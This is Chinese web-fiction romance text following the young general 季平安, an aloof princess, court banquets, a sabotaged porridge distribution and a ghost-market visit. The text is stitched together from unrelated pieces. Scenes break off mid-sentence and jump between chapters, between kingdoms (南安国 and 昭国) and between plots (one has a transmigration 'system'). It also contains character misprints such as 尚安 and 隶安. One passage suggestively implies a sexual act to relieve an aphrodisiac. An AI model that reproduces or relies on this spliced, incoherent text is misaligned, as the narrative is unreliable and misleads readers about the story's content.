季平安抿了一下唇,帽檐下的眼睛同姑娘对视几秒,倏然松开缰绳,往旁伸出了手。 手掌蕴着薄茧,手腕处因微微用力,起了很薄的一层青筋。 她问:“能拽着我的手,自己上马么?” 怎么还没完了? 她咬了咬后槽牙,自暴自弃地想,罢了,横竖死不了。 席间复又热闹起来,有将领跃跃欲试地想要开口。她蹭地站起,刚吐了一个“臣”字,忽见上首那眸光淡漠之人掩唇咳了两下,蓦地开口说: “皇姐您瞧,季将军似是不胜酒力,面色不大好呢。” 谢瑾瞪着眼将大殿正中杵着的季平安上下打量了好几圈,也站起来回话:“陛下,季将军酒量一向不佳,怕是今儿高兴,多饮了几杯,不是有意的。陛下海纳百川,定不会同一介臣子计较。” 皇上却没答言。 她甚至都没分给“醉酒”的季平安一个眼神,而是似笑非笑地盯着长公主看,若有所思。 大殿内弥漫着令人窒息的沉寂。那方才还跃跃欲试想要说亲的将领缩着脖子坐了回去。 不知过了多久,久到殿旁炉子里一整根芸香都燃尽了,皇上才点点头,冲在大殿正中罚站的季平安道:“既如此,爱卿归家后便好好歇息,待半月后养足精神,再上朝不迟。” 她说罢,又冲着店内大臣们点点头:“朕有些困乏了,便先行一步。爱卿们莫拘着,务必吃饱喝足。” 垂下眸子,她最后深深看了一眼长公主,扶着内官的手,拂袖而去。 长公主仍旧是那副面无表情的样子,就好像周遭风云皆与其无关。 令季平安想起了一个词:喜怒不形于色。 但她似乎能感受到长公主的兴致跌了一点下去,像是幼时家养的猫迷了道儿,三更半夜还未归家。 她继而想,许是方才的氛围太凝滞了,以至于自己生出了这种错觉。 可是还有一个问题没解释清:长公主方才的那一番话分明是在替她解围。 她为何如此?是为了还自己的人情么? 季平安想半日没想明白,索性不想了,背手晃悠悠往席间走。 既然长公主与谢瑾替她撒了谎,那自己需得把这个谎圆好。季平安于是归了座,撑着脑袋坐着,一副不胜酒力的样子。 谢瑾在旁高声道:“季将军可还受得住?” 季平安知其意,配合着摇摇头。 “既如此,我陪将军先行一步,将她送回府。”谢瑾冲席间其余人拱手道,“众位自便,恕我等不能奉陪了。” 她轻松地笑了下:“配方简单,我一会说出来,你记在纸上交给手下就好。” 季平安:“但在我说之前,殿下是不是也先回答我的问题?” 她这次没有喊阿九,而是说的殿下。 沈之虞的视线和她对上:“什么问题?” 季平安道:“我以什么身份和殿下进京?” 她在三天前便提出来这个问题,今天也希望能够得到一个答案。 屋子里面安静了会儿,其后沈之虞才道:“我给你两个选择。” “一是公主府幕僚,我会找人帮你在府上收拾出院子来,俸禄和府内地位都等同于我。” 这比之前的随便在京城里面找座房子把她打发了要好得多,也是季平安预想中的结果。 但她还是好奇问道:“那第二种选择是什么?” 沈之虞看着她,顿了片刻后才出声,道:“驸马。” 第 49 章 第 49 章 季平安听到这两个字的时候,还以为是她的错觉。 她忍不住问道:“你刚才说……第二种选择是什么?” 肯定是她听错了,要不然沈之虞怎么会说出来这种话。 沈之虞倒是脸色如常,再次回答了她的问题:“幕僚,或者当公主府驸马。” 她的声音清冷,“驸马”两个字听起来也格外清晰,根本不是幻觉。 季平安的心忽地跳了一下,但脑袋却转的飞快,开始分析现在的情况。 季寒潭又问:“且不论淮安长公主,国师你还想见么?” “自然见。”季平安道。 “可我已替你推了。”戌初一刻,街中小客栈二楼的一间厢房内。 窗外又零零散散落起了小雪,壁炉无声地燃着火,四周悄无人语。 榻上的姑娘分明难耐得紧了,聚少成多的泪珠从绯红的眼尾颤巍巍滑至锦枕,却仍旧咬着唇,一声不吭。 直到许久未解,实在有些耐不住了,她才蓦地攥住了季平安的手腕,哑着嗓子道: “轻些。” 青丝在床榻上肆意披散,季平安替她拢了一下头发,拭去她眼尾湾着的水雾,缓声哄劝:“忍一忍,快了。” 姑娘深吸一口气,偏过头去。她闭上眼,细而白的五指轻颤着从季平安的手腕上挪开。 季平安安抚似的碰了一下姑娘的额角,继而加快了速度。她看见姑娘蹙着眉,面上很轻易地蕴开了一片情.欲,神色却一直是淡而凉薄的。 令自己想起了深秋的北山瑶台上那清泠泠的朝露。 不怕冷的麻雀在窗沿上鸣了两下,被褥摩擦的扑簌声随之响起,惊落了檐上的半片积雪。 伴着从嗓子眼里闷出来的一声轻哼,姑娘猛地睁开眸子,脸上泛起了醒目的潮.红。 季平安默然片刻,从榻上起身,出门净了手。 她已然不指望着能喝上热汤了,随意向客栈要了几个馒头垫巴了两口。 待她回屋时,姑娘刚穿好衣服,撑着床柱站起来,犹犹豫豫想开口。 季平安言简意赅:“讲。” 姑娘吸了一口气,淡声问:“能否送我回府?” 季平安摇摇头:“我替你叫马车。” 姑娘仍旧执着道:“能否送我回府?” “我适才便想问了。”季平安不急着应下,而是轻轻巧巧在屋子正中四方桌旁的木凳上坐下来,冲姑娘抬了一下头。 她道:“你究竟是谁,为何能一眼认出围着口巾的我?又为何会中媚药?” 姑娘咬着唇,半天不答言。她顿了顿,似是下定了什么决心,捞过衣架上袄子穿起来,大约因着使不上劲,扣着扣子的手微微发着颤。 季平安坐在凳子上,撑着脑袋看了会儿,叹了口气,站起身,踱步到衣架旁。 “不愿说便不说罢,遇着这事儿,有难言之隐也是人之常情。”她微微低下头,十指翩跹,慢条斯理地帮着姑娘把最后两颗扣子扭上了。 姑娘轻轻淡淡道了一声谢。 姑娘的脸上情.欲尽褪,眼尾眉梢的淡漠令她看起来有些不近人情。身体分明已然没什么力气了,却强撑着站直,垂眸注视着身前替自己整理衣服的青年。 “季将军”她顿了一下,仍旧坚持道,“能否送我回府?” “你既说回府”季平安将视线移到她脸上,饶有兴致地盯着她看,“有府邸,定不是寻常百姓人家。是哪家小姐么?” “我”姑娘开口说了一个字,却再没声儿了。 季平安笑道:“阁下这什么都不说的,我可不好帮你。再者,送你回府后,我瞧你住哪儿便知晓了你的身份,阁下大可不必在此时藏着掖着。” “我不是我非有意瞒你。”姑娘的声音听不出什么情绪,“但你也知人各有难处,此刻我说不得太多,唯有告诉你有人要加害于我。待你送我回府,一切你自明了了。” “何故一定要我送你?替你叫马车不行?” “这街上有人认得我,故我不好坐马车。” 季平安的视线往门外晃去,又瞥回来,恰恰撞上姑娘的视线。 烛火摇曳,在眼底映出了跳跃着的亮色,没什么表情的面孔瞧起来莫名生动了一些。 眼尾处有一颗极淡的小痣,淡到脂粉一扑便能盖掉。 季平安蓦然想,不知道这张不含情绪的脸笑起来会是什么样。 这颗痣会不会移位。 于是她说:“那你笑一下。” 姑娘:?南安国银装素裹,季平安刚从北漠带军凯旋。 京都厚重的城门大敞,数不尽的百姓热热切切地夹道欢迎。一派喧嚷声中,季平安低头理了理碎发,在马上解了貂裘,慢条斯理地将其往随从手里搁。 副将谢瑾驾马行于她身侧,挑了一下眉,笑道:“小季大人,当真如此热?莫不是即将面圣,有些紧张?” 紧张? 自己上战场杀人时都未紧张,此时此刻怎会露怯? 只是自己又的确是头一回面圣。 季平安这一离京便是八年,从十四岁的少年出落成了二十二的青年。 八年前,她只是籍籍无名的百户长,并无上朝资格,只是在某次京都围猎时遥遥地见过一眼圣上。 这八年间,她从南一路打到北,跟着军队平定中原,荡平北漠,敢领几十人坚守孤城,也能以几百人之数俘虏敌军近千,以少胜多之战数不胜数,履历愈来愈夸张,官职节节攀升。 一方面是能力着实过人,另一方面大约是官运亨通,她就这么从百户长一路打到了统军将军。 也成为了南安国开国历史上最年轻的将军。 副将谢瑾较她大九岁,两人一同出生入死已有三年。 她们位于队伍的排头,后头的人马浩浩汤汤。季平安转头瞅了瞅万千将士,又把脑袋转回来,睨谢瑾一眼,将要开口—— 队伍前头忽然立了个内官,手持一卷黄锦。 季平安认得那黄锦。 自己被封为统军将军时,也是有这么一个内官,捧着哑面的黄锦,笑意盈盈地站在自己身前,说道:“季平安接旨。” ——它是圣旨。 这回的内官仍旧高声道:“季平安接旨——!” 谢瑾住了马,拍拍季平安的肩。季平安从马背上下来,倾身跪了下去。 内官把黄锦一拉,中气十足地高喊:“奉天承运皇帝,诏曰:季平安帷幄千里,骁勇为国,八年内数过京门而不入,一心定中原,平北漠,实为南安国之幸。着封为辅国将军,钦此。” 季平安蓦地抬起头,便看见眼前那内官的脸上逐渐堆出了一朵花。 南安国的辅国将军说大不大,说小不小。当朝圣上酷爱封赏,镇国将军已封了两位,辅国将军封了三位,但即便如此,自己仍旧是最万众瞩目的那一个。 无它,唯年轻而已。 内官嘴角咧到耳根,眼睛都要笑没了:“圣上道大人一路风尘辛苦,今儿便先回家歇歇,待明儿辰时再入宫谢恩。宫内早预备了水酒,为诸位掸尘。” 季平安四平八稳地道“好”,收了圣旨上了马,这才接了谢瑾的那句话: “原不紧张的。” 季平安把大氅捞起来,三两下披上肩,转身道:“逗你的,走罢,送你回府。” “无妨。”季平安道,“若她存心想见我,自然会再递信儿来。说起这个,季娘,您可知国师在帝姬之间的偏向?” “她待帝姬们一视同仁,只同皇上走得近。” 季平安笑道:“您不是说同国师走得近会不得好死么?” 季寒潭睨她一眼:“皇上自有天神庇佑。” 季平安“嚯”了一声:“这话您也信?” 季寒潭被呛得顿了顿,须臾,正色说:“我不信鬼神之说,但我信事在人为。‘不得好死’可以是诅咒,亦可以是有人故作玄虚。毕竟皇上没人敢动,其余的人么可说不准了。你且听我一言,离她远些,准没错处。” 季平安拖着嗓子道“知晓了”,往椅子上瘫坐得更放肆了些。 檐上的雪悄然而落,在灯笼的映射下反出暖白的光。 厅内蓦地安静下来,季平安稍显疲态的眉眼被烛火染上几分赤色。 同人打交道果然累。她想。 相较于思考人际关系,她应当还是更适合提剑杀人。 季寒潭的侍子垂手侍立于一旁,何夫人随口问:“什么时辰了?” 侍子毕恭毕敬道:“二更了。” 季平安闻言,笑道:“行了,您俩别瞎操心,我活这么大,做事总归有分寸。今儿天晚,马车已然齐备,您俩若是懒怠动弹便歇在将军府,若是仍旧想回季宅,我也不留人。” “居然已二更!”何夫人听罢,登时忙将起来,挥手招来将军府内的侍子,一叠声吩咐下去,“夜里风凉,别让你主子长时间在门外站着;手炉须得时时备好;催你主子早睡,明儿倒不必太早叫她起来;早餐别吃发物,恐闹肚子” 季平安拽了团团转的何夫人一把:“娘既这么放心不下,不若今儿便留下陪我,八年未见,我倒有一肚子话想同娘讲。” “今儿不行。”何夫人拍拍她的胳膊,从侍子手里接过袍子披上,急急忙忙往外冲。冲至一半又返回来,风风火火撂下一长串话: “安儿照顾好自己,我同你季娘得走了。春樱,备轿!” 季平安扬声问:“为何今儿不行?” “今夜同你姨娘们说好打麻将的,我押了一百两银子在那儿呢,二更开局。若是再不去,她们就要将钱私吞呢。” 季平安:? 不敌一百两重要的季平安成了孤家寡人,独守一座将军府,在寒风中抓着侍子谈心:“我觉得我何娘变了。” 侍子拍拍她的肩,一板一眼道:“是变了。” “哪儿变了?” “变好看了。” 季平安: 她怀疑所有人都在针对她。 但她没有证据。 系统习惯用数据做判断,但也并不能预测完全没有发生的事情。 它的声音里面都有些沮丧:“抱歉,之前的宿主都没有过这个选择,所以我也不知道哪个更好。” 闻言,季平安问它道:“那我能走到现在,是不是很厉害?” 系统:“是呀,很厉害的~” “很厉害的话”,季平安道:“那是不是我也要选择个稍微有挑战性的身份呢?” 第 50 章 第 50 章 系统没有懂这个“有挑战性的身份”是哪一个。 毕竟在它看来,无论是幕僚还是驸马,都是在任务对象身边,也都能方便任务完成。 所以它道:“宿主超级厉害的,宿主选择哪一个都是正确的!” 听到这话,季平安笑了下:“系统,你怎么学会拍马屁了?” 明明之前系统被夸一句,都能害羞的整个页面都变了颜色。 季平安在某种意义上而言是一个很谨慎的人。 具体表现为,她把口巾翻来覆去看了好几遍,又放至鼻下闻了闻,检查了约有半炷香,才把它围上脸。 随从笑道:“您这也是小心过余,难不成还能不信属下么?属下自您出京后便跟了何夫人的。” 季平安摇摇头:“非不信你,是怕连你也神不知鬼不觉被人下了套。” 她下半张脸都被蒙上了,只露了一双桃花眼出来。眼睫浓密,眼底蕴着光,直勾勾盯着人看的时候,会显出几分没来由的深情。 随从在这“深情”的目光里立了会儿,忽然不自在起来,垂下头去撩发。 撩了有半柱香,余光却瞥见季平安还盯着自己瞧,她心里陡然浮起惊涛骇浪—— 这小季大人不会瞧上自己了吧? 说起来,这将军夫人的位置尚且空悬 随从心绪流转,登时变得有些羞怯。她极轻极缓地抬眼,原本刚直的声音倏忽间柔媚下去:“将军这么看着奴家作甚。” 季平安:“你中午可吃了青菜?” 随从:“将军连奴家吃了什么都留意了么?” “不曾。”季平安四平八稳道,“只是你齿间沾了菜叶,我瞧了半天,原不好意思提醒你,然你始终没发现,故此我问上这么一句。” 随从:谢瑾不由得“嘶“了一声:“闹事?长公主和二帝姬镇着,谁敢闹事?” 季平安不接话,只是深深看她一眼,眉梢挑着,似笑非笑。 谢瑾登时明白过来了。 她有一下没一下地摩梭着腰上佩着的剑,摇摇头:“她们大人物之间的争斗角逐,究竟也非我们能管得了的。如若不然,咱们就此归府,也好远离纷争,免得沾上一身腥。” 季平安却抱着胳膊说:“要去你去。” “这也奇了。”谢瑾笑道,“昨儿不想来的是你,今儿不想走的也是你。这儿有啥令你牵肠挂肚,以致无论如何也不想走?” 季平安: 季平安心说还不是怪你。 昨儿答应来,是因为谢瑾画了“问长公主刺客一事的进展”的饼,今儿却连话都没说上半句,岂不是无功而返? 那也太亏了。 季平安懒得解释,只是抱着剑杵在原地充佛像。 谢瑾见她不说话,却以为自己猜中了,于是蹬鼻子上脸,揶揄道:“难不成你心心念念长公主,故不愿走?” 季平安: 季平安忍无可忍,回身给了谢瑾好几拳。 谢瑾揉着被捶的胳膊,怨气深重:“不就是说到你心坎上了么?你便是恼羞成怒,也不至于揍我揍这么狠呐,我可是你至亲好友!” 季平安瞥她一眼,又梆梆给了她两拳。 谢瑾:季平安抓着腰上的剑,三步并两步跨下台阶,大氅被扑面而来的风掀起来,翻出内面细软的白狐绒。 她跑得太急,以至于下到地面时有些喘。她解开系带,扯掉大氅,将其搭在臂弯里,撑着膝盖平复了两下。 而当她抬起头的时候,却暗道不如不逃—— 长公主不知何时竟已站在了她面前,距她仅几步之遥,只消轻轻伸手,就能触碰到她臂弯里的衣物。 而长公主也确实这么做了。 她施施然将那大氅抽出来,递与身后的侍子:“好生替将军捧着。” 西北雪松的气息再度慢悠悠裹上来。 季平安格外恍然。 许是因着方才奔跑时的心跳并未完全平息,又或许是此情此景实在过于令人意想不到。于是她在原地愣了片刻,才找回了舌头,冲着长公主拱了拱手: “多谢殿下。” 长公主摇摇头:“将军不必言谢,倒是我要感谢将军。算起来,将军已经帮了我三回了。” “举手之劳罢了。”季平安一板一眼地回说,“能帮上殿下,是下官之幸。” 长公主眨了一下眼。 她的睫毛很长,被远近的灯火烘烤成了橙黄色。 季平安没什么闲聊的心思,正想说“若无旁事,下官先行一步”,忽然听见长公主淡然开了腔: “将军可是一人上街逛?也不带个人跟着?” 季平安:? 长公主方才同天桥上的自己对视时,没看见一旁的谢瑾么? 季平安随即又想,许是谢瑾彼时彼刻正垂着脑袋往栏杆上系丝带,故此长公主没看清她的脸。而天桥上来往行人纷杂,自己和谢瑾又隔了一小段距离,于是看上去便并不像同路之人。 季平安的“和谢瑾一同来的”已然到了嘴边,却蓦地想起来长公主此前的那几声“朋友”与“一家人”。 若是提到谢瑾,长公主估摸着又会说“你朋友”如何如何,甚至还会提出同谢瑾见一面。 而若是见了面,谢瑾事后少不得又要揶揄自己一通。 季平安于是舌尖一滚,将那句话咽下去了,转而说:“是一人来的。有人跟着总觉拘束,不能彻底放松。” 长公主微微颔首,雪白的披风边缘被灯笼勾勒出金黄的虚影。下一秒,季平安听见她说: “将军独身游街可觉孤单?倘或不嫌弃,我可以陪着将军走上一段。” 季平安:??? 邀约来得过于突然,季平安下意识想拒绝。她不好意思地笑笑,道:“能与殿下一同游街是下官之幸,然我阿娘正在家中苦等我回去,下官应了她与她一同包些饺子,若是回去的迟了,怕是不好。” 长公主点点头说“行”。 她的神色一如既往的浅淡,看不出其余情绪。 雪又下起来了,长公主的眼睫上不知何时停了一朵晶莹的雪花,无端渲染出几分淡漠到有些落寞的气氛。 她就在这一点点的落寞里开了口:“将军在我面前一向可以实话实说,若是不愿与我同行,直言便是。” 她说这话的时候,并没有看向眼前人,而是垂着眸子,目光落在自己的绣花鞋面上。 季平安平白生出了一丝心虚,赶忙接话:“殿下这是哪里的话,下官有幸能与殿下同行,高兴还来不及。只是今儿家中罢了,下官便陪殿下走走,想来也费不了多长时间。” 一连串话没过脑子便吐了出来,待反应过来自己说了什么之后,季平安差点咬到舌头。 长公主蓦地抬起眼:“果真?” 季平安硬着头皮接道:“千真万确。” 她们此时此刻位于天桥正下方,处在谢瑾的视线盲区。季平安估摸着谢瑾大约快要下天桥,顾不得许多,遂迅速道: “只是下官未用晚膳,此刻倒有些饿了。莫若我们先入酒楼,准下官随意对付一顿,再做其余打算?” 话音落下,谢瑾的大红披风已然在栏杆边若隐若现。季平安暗道糟糕,还未待长公主答言,赶忙拽着她往旁一闪,直愣愣地冲进了东边的酒楼。 酒楼的帘子扑簌簌合上,嘈嘈的风声与“可能被发现的危险”俱被隔离在外。 季平安长舒一口气,松开长公主的袖摆。袖摆上被抓出的折痕渐渐消褪,她鼻尖陡然浓郁起来的雪松气散去了一些。 而后她发现,长公主正饶有兴致地盯着她看。 季平安讪讪一笑,冲旁抱了抱拳:“下官方才有些心急,望殿下赎罪。” “无妨。”长公主淡声说,“将军大约是饿得狠了。为表谢意,这顿我请,将军随意。” 季平安其实并不饿,恰恰相反,她还有些撑——那烧鸡太过美味,一不留神便两三只下了肚,直到现在也没消化。 她在心中又暗暗给谢瑾记了一笔,继而硬着头皮点起了菜。 而待菜呈上来后,她吃了两筷子便觉得更撑。她遂开始没话找话,试图用聊天来拖延时间,掩盖自己吃不下的事实: “殿下今儿倒是好兴致,也出来游街么?” 这原是句没什么意义的寒暄,就跟“吃了么”一样。然长公主却并未客套地回答“吃了”,而是摇摇头:“原不是为着出来游街。我听闻这儿人多,出来寻清净。” “在闹市中寻清净?” “清不清净原在人心。”长公主说,“府内安静,倒显得心内的杂音多。来至人多之处,千头万绪却会被周围的嘈声盖过去。” 季平安笑道:“殿下果然不同凡响,此说法下官头一遭儿听,却觉得甚是有理。” 长公主端起茶盏饮了一口,问:“那你呢?” “嗯?” “将军是来凑热闹,还是来寻清净?” 季平安蓦地思忖,眼下其实是表明立场的好时机。 她于是坦诚地说:“不瞒您说,我只是为了来吃口烧鸡。” “吃烧鸡?” “是如此。”季平安笑道,“季尚安大约觉得今早分明有殿下镇着,我却强出风头,太过逞能,便罚我今儿不许在季宅用荤腥。我却憋不得,听闻这儿有家烧鸡分外出名,于是来这儿偷摸寻口吃的。” 长公主的注意力却不在“季尚安罚她”上头,而是问:“那将军可有吃上烧鸡?” “吃”季平安蓦地想起半刻钟前自己扯的“未用晚膳”的谎,话音一转,“倒是没吃上。” 长公主点点头道:“将军说的以烧鸡闻名的是哪一处?” “山海家。” “既如此”长公主回头对侍子道,“去山海家替将军买只烧鸡回来。” 季平安:? 长公主怎么如此不按常理出牌? 谢邀,真的吃不下了。 谢瑾还想再声泪俱下地控诉几句,忽然听见队伍排头处再度起了一阵骚动—— 一个穿着臃肿冬袄的大娘正举着碗高喊:“这粥里掺了沙子!” 大娘颧骨很高,此刻正张嘴叫唤,倒显得更高了;眼睛很大,此刻瞪得像铜铃,倒大得有些吓人。 她的嘴唇裂成了旱地,一开一合继续嚎叫:“这粥不干净!我娃喝完已经上吐下泻好一会儿了!” 人群里渐渐起了窃窃私语。季平安听见有人说:“粥里怎会有沙子?大约那米也非好米,施粥也只是糊弄糊弄咱们。” 她旁边站着另一衣衫褴褛的大娘,把头往粥桶里一探,也叫起来了:“还真有沙子!她们定是吞了朝廷拨来的银子,然后拿些末等稻米混上沙土,以次充好给我们喝,压根儿不管我们死活!” 队伍里传来此起彼伏的“确实有沙子”“这粥还能喝么”“她们连这钱也贪?” 站在人群中维持秩序的内官一时慌了神,有侍卫抽刀欲喊,被侍卫长一把摁住。 现场乱成了一锅粥。 “这就开始了?”谢瑾绝望地抱头就地一蹲,“真不想搅这浑水,现在走还来得及么?” 季平安瞥她一眼,三两下把她拽了起来,往队伍排头的方向扯去:“来不及,况且就你之前死命往灶儿里塞柴火的行为来看,周遭人约莫都记得你了。所以莫走了,去前头瞧瞧。” 季平安戴上口巾,扯着谢瑾从后方绕过人群,悄然朝棚子某处入口行去。 守着棚子的侍卫刚想铁面无私地将她俩拦下,旁边忽然过来一长公主的心腹侍子,冲她轻轻点了点头。 于是那侍子伸出去的手嗖地往回收,轻易放她俩过去了。 季平安认得那侍子。前些日子在长公主府上用晚膳时,便是她侍奉在侧。 谢瑾虽是个粗人,但并不健忘,很显然也记得。她讶异地说:“原以为还要废一通口舌,竟这么轻易地放我们过来了么?” 她又自说自话地理顺了逻辑:“也是,横竖都是一家人,毕竟长公主说的,七帝姬是我外侄。” 季平安: 人家客套客套的话,你还当真? 前头闹事的声音愈发响亮,越来越多的人义愤填膺地想要讨个说法。一开始只是几个带头闹事的在嚷,但群众大多有从众心理,闲言碎语一茬接一茬地往外冒。 几个内官扯着嗓子在前头喊“肃静”“这粥是上好的稻米熬的”等语,然而于事无补,喊声即刻被吞没在了千百群众细碎的呼声里。 人都是贪得无厌的生物,总喜欢蹬鼻子上脸。譬如此时,见内官压不住,排着队的百姓便愈发躁动,逐渐从动口转为了动手。 更有甚者,以为自己惩治贪官,替天行道,便骤然往前跨过去,像是想上前掀了粥架的样子。 她大剌剌冲到了排头,猛地往前伸手。眼见着自己的手就要碰到粥桶了,那人的脸上浮出了一丝微不可见的笑意—— 大殿下说过的,法不责众,且长公主与二殿下作为皇室宗亲,不能在大庭广众之下与百姓计较,否则就是心胸狭隘,没有皇族之风。只要搅和了这场施粥之行,便能得白银数百两,保她家一生荣华富贵 旁边却陡然钻来一只遒劲的手,一把箍住她的胳膊,让她几乎动弹不得! 那人不可置信地转头看,对上了一双极为好看的眼。那双眼日常本是含笑而光顺的,此刻却显得凌厉而气势汹汹。 季平安喊来自己的下属:“把她捆起来,再把那几个带头闹事的一并捆了!” 那人登时慌了神,一叠声喊着“你凭什么捆我”,却被身边人拖出队伍堵住了嘴。 人堆儿里不住地传来窃窃私语。 季平安并未理会,睨她一眼,干净利落地转身,快步走至长公主旁,行止间带起了一阵风。 她觑着眼往人堆里扫了一圈,一把摘了口巾,沉声道:“二位殿下宽宏大量,不与闹事之人计较,我却看不来此等扰乱秩序的做派。” 排着队的百姓们倒吸一口凉气,此起彼伏的“是小季大人”“季将军来了”海浪般从前往后涌去。 季平安将左手攥着的剑往架子上“嘭”地一拍,高喊道:“肃静!” 长年累月在军营训话,她早已锻练出了金嗓子。这一声儿喊得传出了一里,十分具有威慑性。百姓们来回对视着,脑子转不及,不由自主歇了声。 季平安一拍架子,继续高喊:“再有闹事者,此前被捆的那起子人便是前车之鉴!” 百姓们此前敢闹,一是从众,二是并不认为会受到什么责罚。现如今眼看着火即将烧到自己身上,不由得面面相觑,将头缩进了并不能扛风的衣领里。 人群中有人大着胆子问:“我方才也凑上前看了,这粥确是不干净。将军可是要包庇?难不成将军也拿了回扣?” “你这就是胡扯。”季平安笑着说,“此前一个时辰的那么些人都没喝出毛病,怎么这会儿就出问题了?这粥” 季平安一面说,一面探着脑袋往粥桶里看去—— 五个粥桶,里头无一例外浮着泥沙,在白花花的米水里分外显眼,鹤立鸡群。 季平安: 难怪群众都这么义愤填膺,敢情不只是跟风,而是这粥真不行。 季平安到嘴边的“有什么问题”被硬生生憋了回去——再指鹿为马就是睁眼瞎。她回头压低声儿问长公主:“谁干的?你们在这儿守着,就没发现异常?” 事发突然,情急之下,礼节性的敬语已然被她一股脑抛诸脑后,语气透着十足的熟稔。 熟稔到长公主愣了一下,才飞速接话:“几个呼吸前才发现,想命人倒掉重新熬,这头却已吵起来了。” “所以熬粥的人里头有内鬼?” “八成。”季平安醒来的时候,阳光透过纤尘不染的花格玻璃窗,斜斜射进了她的眼。 她蹙眉坐起身,懵了片刻,断片前的场景才慢悠悠涌入脑海。 看阳光应是临近傍晚,又未到点灯时分,屋内半亮不亮,显出了几分缱绻的昏沉。 屋子那头摆着大理石架,上头陈着各色珠光宝气的摆件儿。墙上挂着前朝名师的画作与题的诗词,用草安题着“千秋荒唐”。 外间的侍子听见响动,赶忙跑进来,捞过桌上的茶壶斟了一盏茶,往榻上一送,惊喜地问:“小季大人可醒了?灶上一直温着醒酒汤呢,我与大人送来。” “多谢。”季平安仰脖将茶一口喝干了,笑着说,“醒酒汤倒不必了,我已然清醒了。” 她披衣下榻,兀自穿上了在床边摆得齐齐整整的鞋,接着问: “你可知这是何处?又是谁将我抬过来的?” 侍子大约觉得“抬”这个字用得很好笑,肩膀抖了三抖,正要开口,屋外忽然飘来一个熟悉的声音。 “我抬的。”谢瑾蹦进屋,“啧”了一声,“将军好沉,我这会儿胳膊还酸着呢。” “我还没找你算账,你这会子倒上赶着讨骂?”季平安睨她一眼,“酸死活该。” “嘿,当初你可是答应了的,出现那状况究竟又怨不得我。” 随从被气跑了。 其实也不是气跑的,而是季平安后头紧跟了一句:“你留滞此处歇歇脚,容我一人逛逛。” 腿下的那匹马并非自己常骑的,瘦瘦小小,季平安都不忍心骑着它快马加鞭。她安静地在巷道里溜着,慢慢往城西行。 日薄西山,小巷里每隔一段距离便升起一阵炊烟,正是寻常百姓家开火做饭。 季平安住了马,昂头看了一阵,蓦然想,倘或自己并未参军,而是跟着夫子学文,踏踏实实走她季娘的老路,不知此刻会是什么情形。 大约是自己并不会出京,一家人一直其乐融融住在一块儿。于是每至傍晚,季宅上空也会这么升起一股炊烟。 不像眼下,已然分离八年,她都快抹平记忆里季娘何娘的样貌。 她这么想着,再度恍然回神时,不自觉已然逛到了季宅前。 季娘升至礼部尚安,季宅早已往外扩了许多,历经重修,雕梁画栋,气派恢弘。 大门上方挂着一块金灿灿的匾,上头用隶安题着:季府。 府门闭着,季平安迟疑了会儿,在门口的石狮子上栓了马,缓步上前,敲了敲门。 然而待敲完门,她又后悔了。 季娘已然入了宫,何娘此刻在将军府,两位老夫人又都已然过世了——那么,如今在季府里的会是谁呢? 季平安缓缓闭上眼,在心内一声长叹,暗道,自己此去八年,不知那群印象里过分欢腾的姨娘转性了没有。 想来应是没有的——厚重的大门内已然隐隐传来薛姨娘那爽朗的笑声了。 沈之虞看向她:“那你需要什么?” 她并不觉得季平安说了这么长的一番话,最后会什么都不要。 季平安道:“殿下,我要你的信任。” 说完,她又觉得这句话没有将自己想说的意思完全表达出来。 于是季平安又重新说了一遍。 她道:“殿下,我要你给我绝对的信任。”【你现在阅读的是 】 50-60 第 51 章 第 51 章 “殿下,我要你给我绝对的信任。” 季平安说出这句话,并不是心血来潮,而是真的考虑过的。 她现在最缺的、最需要的就是沈之虞对她的信任。 季平安并不喜欢被强制做些什么,刚开始被绑定的时候,若不是她喜欢抽卡送的[猎物望远镜],可能并不会按照系统的指示走。 但是三个月的时间,她也多了些对沈之虞的欣赏,慢慢改变了自己的想法。 沈之虞这么优秀的人,不能按照原来的剧情一般,多病早逝。 昭国京都城门。 一队人马浩浩荡荡穿过繁华的集市,那顶华丽轿辇内,谢明幽一身玄衣,走了这许久,终于要入正宫。 想着当今大殿上端坐的那位,谢明幽眼底划过不屑。 长路漫漫,终于要正式见个面了。 议事大殿。 “月国使臣已入城,我等已安排迎接入宫。” 季澜上前作揖。 沈悦点头,“使臣舟车劳顿,接风宴,就让礼部帮着协调。” 季澜点头。“鬼市?” 季平安看着眼前,昏暗幽森的门头,上面斑斑驳驳的破旧字迹,门口两个值卫把守。 十七上前付了钱。 一行人顺当进了里面,这鬼市阴森吓人,昭国还有这地方? 沈之虞带着面纱,撑着伞,走在她身旁,见她满脸惊异,料想她没见过,不禁出声解释:“这是地下暗街,很多上不得台面的交易都在此进行。” 没想到离国竟染指到这里。 “少师带着绿芍藏匿再此处。” 十七当日追寻到这里就失去她们的踪迹。 “这里这么大,想要挖出她们来,也非易事。” 沈之虞冷笑,“无妨,实在不行,这肮脏的地方,本宫直接一把火烧了。” 省的总会生出事端。 季平安看着两旁,满眼好奇,“这里人怎么还带着面具,早知道我也戴一个。” 鬼市,都是些江湖人做的阴暗交易场所,这里经营的大多是不人不鬼的残酷把戏。 有些人进来不想曝光身份,便用面具之类遮住自己的脸。 沈之虞看着她:“前面有卖的,你买个。” 季平安走到前方,果然见到一个戴着狼头穿着灰布衣的男子,扛着一个竹架上面是零零散散的鬼面具,各个青面獠牙,好不吓人。 季平安选了一个红脸小鬼,心情颇好。 几人继续向里走,途中薄烟弥漫,蓝绿色的不明灯光不时充斥大街四角,透过面目两只眼,季平安看着周围所有景物都怪异诡谲,连带着脑子都开始加速晃荡。 “不会真来个鬼吧?” 沈之虞敲她一眼,嗤道:“恶鬼在人间,人都不怕,怕鬼做什么。” 季平安冷不丁抬头,嘟着嘴:“那也怕。” 沈之虞把胳膊伸过来,无声的,季平安突然明了,她笑眯眯的凑过去,挽着胳膊,不过这里再骇人,有沈之虞在,那份害怕恐惧还是少了好几分,她才知道,沈之虞是个练家子,出手狠辣快狠准,平日里真没看出来,竟是潜藏的高手。 这鬼市上牛头马面到处飘过,季平安好像徜徉在百鬼夜行中。 走了一段距离。 一行人来到一间门店前,止住脚。 沈之虞看着牌匾,眼底锋芒一闪:“到了。” 匾上是:佛陀阁 礼佛的? 季平安看着牌匾心中一怔,这破地方还有佛这么高端的东西? 总觉得这几个字出现在这渗人的地下黑市万分滑稽。 “邀请牌。” 季平安脚刚踏入,就有一个小厮上来,脸色冷淡,口音恭敬,一时间,竟听不出对方真实意图。 沈之虞使了个眼色,十七上前从怀中掏出三块方方正正的金色牌牌,小厮看了眼,退下,便有另外一个仆人走来领着她们向里间走去。 走了几步,季平安悄声道:“这儿好严苛。” 